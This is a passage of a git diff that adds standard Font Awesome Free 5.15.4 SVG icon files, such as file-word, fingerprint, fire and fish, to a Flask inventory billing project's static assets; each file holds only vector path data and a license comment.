13.2 10.8 24 24 24zm-8 171.8c-20-12.2-33.3-29-42.7-53.8 4.5-18.5 11.6-46.6 6.2-64.2-4.7-29.4-42.4-26.5-47.8-6.8-5 18.3-.4 44.1 8.1 77-11.6 27.6-28.7 64.6-40.8 85.8-.1 0-.1.1-.2.1-27.1 13.9-73.6 44.5-54.5 68 5.6 6.9 16 10 21.5 10 17.9 0 35.7-18 61.1-61.8 25.8-8.5 54.1-19.1 79-23.2 21.7 11.8 47.1 19.5 64 19.5 29.2 0 31.2-32 19.7-43.4-13.9-13.6-54.3-9.7-73.6-7.2zM377 105L279 7c-4.5-4.5-10.6-7-17-7h-6v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-74.1 255.3c4.1-2.7-2.5-11.9-42.8-9 37.1 15.8 42.8 9 42.8 9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-powerpoint.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-powerpoint.svg new file mode 100644 index 00000000..7f1b5e1e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-powerpoint.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M193.7 271.2c8.8 0 15.5 2.7 20.3 8.1 9.6 10.9 9.8 32.7-.2 44.1-4.9 5.6-11.9 8.5-21.1 8.5h-26.9v-60.7h27.9zM377 105L279 7c-4.5-4.5-10.6-7-17-7h-6v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm53 165.2c0 90.3-88.8 77.6-111.1 77.6V436c0 6.6-5.4 12-12 12h-30.8c-6.6 0-12-5.4-12-12V236.2c0-6.6 5.4-12 12-12h81c44.5 0 72.9 32.8 72.9 77z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-prescription.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-prescription.svg new file mode 100644 index 00000000..1dd28a57 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-prescription.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm68.53 179.48l11.31 11.31c6.25 6.25 6.25 16.38 0 22.63l-29.9 29.9L304 409.38c6.25 6.25 6.25 16.38 0 22.63l-11.31 11.31c-6.25 6.25-16.38 6.25-22.63 0L240 413.25l-30.06 30.06c-6.25 6.25-16.38 6.25-22.63 0L176 432c-6.25-6.25-6.25-16.38 0-22.63l30.06-30.06L146.74 320H128v48c0 8.84-7.16 16-16 16H96c-8.84 0-16-7.16-16-16V208c0-8.84 7.16-16 16-16h80c35.35 0 64 28.65 64 64 0 24.22-13.62 45.05-33.46 55.92L240 345.38l29.9-29.9c6.25-6.25 16.38-6.25 22.63 0zM176 272h-48v-32h48c8.82 0 16 7.18 16 16s-7.18 16-16 16zm208-150.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-signature.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-signature.svg new file mode 100644 index 00000000..c3a5596f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-signature.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M218.17 424.14c-2.95-5.92-8.09-6.52-10.17-6.52s-7.22.59-10.02 6.19l-7.67 15.34c-6.37 12.78-25.03 11.37-29.48-2.09L144 386.59l-10.61 31.88c-5.89 17.66-22.38 29.53-41 29.53H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h12.39c4.83 0 9.11-3.08 10.64-7.66l18.19-54.64c3.3-9.81 12.44-16.41 22.78-16.41s19.48 6.59 22.77 16.41l13.88 41.64c19.75-16.19 54.06-9.7 66 14.16 1.89 3.78 5.49 5.95 9.36 6.26v-82.12l128-127.09V160H248c-13.2 0-24-10.8-24-24V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24v-40l-128-.11c-16.12-.31-30.58-9.28-37.83-23.75zM384 121.9c0-6.3-2.5-12.4-7-16.9L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1zm-96 225.06V416h68.99l161.68-162.78-67.88-67.88L288 346.96zm280.54-179.63l-31.87-31.87c-9.94-9.94-26.07-9.94-36.01 0l-27.25 27.25 67.88 67.88 27.25-27.25c9.95-9.94 9.95-26.07 0-36.01z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-upload.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-upload.svg new file mode 100644 index 00000000..df4f83f8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-upload.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm65.18 216.01H224v80c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-80H94.82c-14.28 0-21.41-17.29-11.27-27.36l96.42-95.7c6.65-6.61 17.39-6.61 24.04 0l96.42 95.7c10.15 10.07 3.03 27.36-11.25 27.36zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-video.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-video.svg new file mode 100644 index 00000000..3ba1970e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-video.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 121.941V128H256V0h6.059c6.365 0 12.47 2.529 16.971 7.029l97.941 97.941A24.005 24.005 0 0 1 384 121.941zM224 136V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248c-13.2 0-24-10.8-24-24zm96 144.016v111.963c0 21.445-25.943 31.998-40.971 16.971L224 353.941V392c0 13.255-10.745 24-24 24H88c-13.255 0-24-10.745-24-24V280c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v38.059l55.029-55.013c15.011-15.01 40.971-4.491 40.971 16.97z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-word.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-word.svg new file mode 100644 index 00000000..3c417974 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file-word.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm57.1 120H305c7.7 0 13.4 7.1 11.7 14.7l-38 168c-1.2 5.5-6.1 9.3-11.7 9.3h-38c-5.5 0-10.3-3.8-11.6-9.1-25.8-103.5-20.8-81.2-25.6-110.5h-.5c-1.1 14.3-2.4 17.4-25.6 110.5-1.3 5.3-6.1 9.1-11.6 9.1H117c-5.6 0-10.5-3.9-11.7-9.4l-37.8-168c-1.7-7.5 4-14.6 11.7-14.6h24.5c5.7 0 10.7 4 11.8 9.7 15.6 78 20.1 109.5 21 122.2 1.6-10.2 7.3-32.7 29.4-122.7 1.3-5.4 6.1-9.1 11.7-9.1h29.1c5.6 0 10.4 3.8 11.7 9.2 24 100.4 28.8 124 29.6 129.4-.2-11.2-2.6-17.8 21.6-129.2 1-5.6 5.9-9.5 11.5-9.5zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file.svg new file mode 100644 index 00000000..aa8dacdb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/file.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm160-14.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fill-drip.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fill-drip.svg new file mode 100644 index 00000000..a9e5163e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fill-drip.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M512 320s-64 92.65-64 128c0 35.35 28.66 64 64 64s64-28.65 64-64-64-128-64-128zm-9.37-102.94L294.94 9.37C288.69 3.12 280.5 0 272.31 0s-16.38 3.12-22.62 9.37l-81.58 81.58L81.93 4.76c-6.25-6.25-16.38-6.25-22.62 0L36.69 27.38c-6.24 6.25-6.24 16.38 0 22.62l86.19 86.18-94.76 94.76c-37.49 37.48-37.49 98.26 0 135.75l117.19 117.19c18.74 18.74 43.31 28.12 67.87 28.12 24.57 0 49.13-9.37 67.87-28.12l221.57-221.57c12.5-12.5 12.5-32.75.01-45.25zm-116.22 70.97H65.93c1.36-3.84 3.57-7.98 7.43-11.83l13.15-13.15 81.61-81.61 58.6 58.6c12.49 12.49 32.75 12.49 45.24 0s12.49-32.75 0-45.24l-58.6-58.6 58.95-58.95 162.44 162.44-48.34 48.34z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fill.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fill.svg new file mode 100644 index 00000000..3605edaf --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fill.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M502.63 217.06L294.94 9.37C288.69 3.12 280.5 0 272.31 0s-16.38 3.12-22.62 9.37l-81.58 81.58L81.93 4.77c-6.24-6.25-16.38-6.25-22.62 0L36.69 27.38c-6.24 6.25-6.24 16.38 0 22.63l86.19 86.18-94.76 94.76c-37.49 37.49-37.49 98.26 0 135.75l117.19 117.19c18.75 18.74 43.31 28.12 67.87 28.12 24.57 0 49.13-9.37 67.88-28.12l221.57-221.57c12.49-12.5 12.49-32.76 0-45.26zm-116.22 70.97H65.93c1.36-3.84 3.57-7.98 7.43-11.83l13.15-13.15 81.61-81.61 58.61 58.6c12.49 12.49 32.75 12.49 45.24 0 12.49-12.49 12.49-32.75 0-45.24l-58.61-58.6 58.95-58.95 162.45 162.44-48.35 48.34z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/film.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/film.svg new file mode 100644 index 00000000..ccf89836 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/film.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M488 64h-8v20c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12V64H96v20c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12V64h-8C10.7 64 0 74.7 0 88v336c0 13.3 10.7 24 24 24h8v-20c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v20h320v-20c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v20h8c13.3 0 24-10.7 24-24V88c0-13.3-10.7-24-24-24zM96 372c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm272 208c0 6.6-5.4 12-12 12H156c-6.6 0-12-5.4-12-12v-96c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v96zm0-168c0 6.6-5.4 12-12 12H156c-6.6 0-12-5.4-12-12v-96c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v96zm112 152c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/filter.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/filter.svg new file mode 100644 index 00000000..16502743 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/filter.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M487.976 0H24.028C2.71 0-8.047 25.866 7.058 40.971L192 225.941V432c0 7.831 3.821 15.17 10.237 19.662l80 55.98C298.02 518.69 320 507.493 320 487.98V225.941l184.947-184.97C520.021 25.896 509.338 0 487.976 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fingerprint.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fingerprint.svg new file mode 100644 index 00000000..e61991a7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fingerprint.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256.12 245.96c-13.25 0-24 10.74-24 24 1.14 72.25-8.14 141.9-27.7 211.55-2.73 9.72 2.15 30.49 23.12 30.49 10.48 0 20.11-6.92 23.09-17.52 13.53-47.91 31.04-125.41 29.48-224.52.01-13.25-10.73-24-23.99-24zm-.86-81.73C194 164.16 151.25 211.3 152.1 265.32c.75 47.94-3.75 95.91-13.37 142.55-2.69 12.98 5.67 25.69 18.64 28.36 13.05 2.67 25.67-5.66 28.36-18.64 10.34-50.09 15.17-101.58 14.37-153.02-.41-25.95 19.92-52.49 54.45-52.34 31.31.47 57.15 25.34 57.62 55.47.77 48.05-2.81 96.33-10.61 143.55-2.17 13.06 6.69 25.42 19.76 27.58 19.97 3.33 26.81-15.1 27.58-19.77 8.28-50.03 12.06-101.21 11.27-152.11-.88-55.8-47.94-101.88-104.91-102.72zm-110.69-19.78c-10.3-8.34-25.37-6.8-33.76 3.48-25.62 31.5-39.39 71.28-38.75 112 .59 37.58-2.47 75.27-9.11 112.05-2.34 13.05 6.31 25.53 19.36 27.89 20.11 3.5 27.07-14.81 27.89-19.36 7.19-39.84 10.5-80.66 9.86-121.33-.47-29.88 9.2-57.88 28-80.97 8.35-10.28 6.79-25.39-3.49-33.76zm109.47-62.33c-15.41-.41-30.87 1.44-45.78 4.97-12.89 3.06-20.87 15.98-17.83 28.89 3.06 12.89 16 20.83 28.89 17.83 11.05-2.61 22.47-3.77 34-3.69 75.43 1.13 137.73 61.5 138.88 134.58.59 37.88-1.28 76.11-5.58 113.63-1.5 13.17 7.95 25.08 21.11 26.58 16.72 1.95 25.51-11.88 26.58-21.11a929.06 929.06 0 0 0 5.89-119.85c-1.56-98.75-85.07-180.33-186.16-181.83zm252.07 121.45c-2.86-12.92-15.51-21.2-28.61-18.27-12.94 2.86-21.12 15.66-18.26 28.61 4.71 21.41 4.91 37.41 4.7 61.6-.11 13.27 10.55 24.09 23.8 24.2h.2c13.17 0 23.89-10.61 24-23.8.18-22.18.4-44.11-5.83-72.34zm-40.12-90.72C417.29 43.46 337.6 1.29 252.81.02 183.02-.82 118.47 24.91 70.46 72.94 24.09 119.37-.9 181.04.14 246.65l-.12 21.47c-.39 13.25 10.03 24.31 23.28 24.69.23.02.48.02.72.02 12.92 0 23.59-10.3 23.97-23.3l.16-23.64c-.83-52.5 19.16-101.86 56.28-139 38.76-38.8 91.34-59.67 147.68-58.86 69.45 1.03 134.73 35.56 174.62 92.39 7.61 10.86 22.56 13.45 33.42 5.86 10.84-7.62 13.46-22.59 5.84-33.43z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fire-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fire-alt.svg new file mode 100644 index 00000000..db05d8ed --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fire-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M323.56 51.2c-20.8 19.3-39.58 39.59-56.22 59.97C240.08 73.62 206.28 35.53 168 0 69.74 91.17 0 209.96 0 281.6 0 408.85 100.29 512 224 512s224-103.15 224-230.4c0-53.27-51.98-163.14-124.44-230.4zm-19.47 340.65C282.43 407.01 255.72 416 226.86 416 154.71 416 96 368.26 96 290.75c0-38.61 24.31-72.63 72.79-130.75 6.93 7.98 98.83 125.34 98.83 125.34l58.63-66.88c4.14 6.85 7.91 13.55 11.27 19.97 27.35 52.19 15.81 118.97-33.43 153.42z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fire-extinguisher.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fire-extinguisher.svg new file mode 100644 index 00000000..79bfce73 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fire-extinguisher.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M434.027 26.329l-168 28C254.693 56.218 256 67.8 256 72h-58.332C208.353 36.108 181.446 0 144 0c-39.435 0-66.368 39.676-52.228 76.203-52.039 13.051-75.381 54.213-90.049 90.884-4.923 12.307 1.063 26.274 13.37 31.197 12.317 4.926 26.279-1.075 31.196-13.37C75.058 112.99 106.964 120 168 120v27.076c-41.543 10.862-72 49.235-72 94.129V488c0 13.255 10.745 24 24 24h144c13.255 0 24-10.745 24-24V240c0-44.731-30.596-82.312-72-92.97V120h40c0 2.974-1.703 15.716 10.027 17.671l168 28C441.342 166.89 448 161.25 448 153.834V38.166c0-7.416-6.658-13.056-13.973-11.837zM144 72c-8.822 0-16-7.178-16-16s7.178-16 16-16 16 7.178 16 16-7.178 16-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fire.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fire.svg new file mode 100644 index 00000000..7b58a9c5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fire.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M216 23.86c0-23.8-30.65-32.77-44.15-13.04C48 191.85 224 200 224 288c0 35.63-29.11 64.46-64.85 63.99-35.17-.45-63.15-29.77-63.15-64.94v-85.51c0-21.7-26.47-32.23-41.43-16.5C27.8 213.16 0 261.33 0 320c0 105.87 86.13 192 192 192s192-86.13 192-192c0-170.29-168-193-168-296.14z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/first-aid.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/first-aid.svg new file mode 100644 index 00000000..6432c1d5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/first-aid.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 80v352c0 26.5 21.5 48 48 48h48V32H48C21.5 32 0 53.5 0 80zm128 400h320V32H128v448zm64-248c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48zM528 32h-48v448h48c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fish.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fish.svg new file mode 100644 index 00000000..b124d486 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fish.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M327.1 96c-89.97 0-168.54 54.77-212.27 101.63L27.5 131.58c-12.13-9.18-30.24.6-27.14 14.66L24.54 256 .35 365.77c-3.1 14.06 15.01 23.83 27.14 14.66l87.33-66.05C158.55 361.23 237.13 416 327.1 416 464.56 416 576 288 576 256S464.56 96 327.1 96zm87.43 184c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24 13.26 0 24 10.74 24 24 0 13.25-10.75 24-24 24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fist-raised.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fist-raised.svg new file mode 100644 index 00000000..01f01af2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/fist-raised.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M255.98 160V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v146.93c5.02-1.78 10.34-2.93 15.97-2.93h48.03zm128 95.99c-.01-35.34-28.66-63.99-63.99-63.99H207.85c-8.78 0-15.9 7.07-15.9 15.85v.56c0 26.27 21.3 47.59 47.57 47.59h35.26c9.68 0 13.2 3.58 13.2 8v16.2c0 4.29-3.59 7.78-7.88 8-44.52 2.28-64.16 24.71-96.05 72.55l-6.31 9.47a7.994 7.994 0 0 1-11.09 2.22l-13.31-8.88a7.994 7.994 0 0 1-2.22-11.09l6.31-9.47c15.73-23.6 30.2-43.26 47.31-58.08-17.27-5.51-31.4-18.12-38.87-34.45-6.59 3.41-13.96 5.52-21.87 5.52h-32c-12.34 0-23.49-4.81-32-12.48C71.48 251.19 60.33 256 48 256H16c-5.64 0-10.97-1.15-16-2.95v77.93c0 33.95 13.48 66.5 37.49 90.51L63.99 448v64h255.98v-63.96l35.91-35.92A96.035 96.035 0 0 0 384 344.21l-.02-88.22zm-32.01-90.09V48c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v112h32c11.28 0 21.94 2.31 32 5.9zM16 224h32c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v128c0 8.84 7.16 16 16 16zm95.99 0h32c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v160c0 8.84 7.16 16 16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/flag-checkered.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/flag-checkered.svg new file mode 100644 index 00000000..0117946f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/flag-checkered.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M243.2 189.9V258c26.1 5.9 49.3 15.6 73.6 22.3v-68.2c-26-5.8-49.4-15.5-73.6-22.2zm223.3-123c-34.3 15.9-76.5 31.9-117 31.9C296 98.8 251.7 64 184.3 64c-25 0-47.3 4.4-68 12 2.8-7.3 4.1-15.2 3.6-23.6C118.1 24 94.8 1.2 66.3 0 34.3-1.3 8 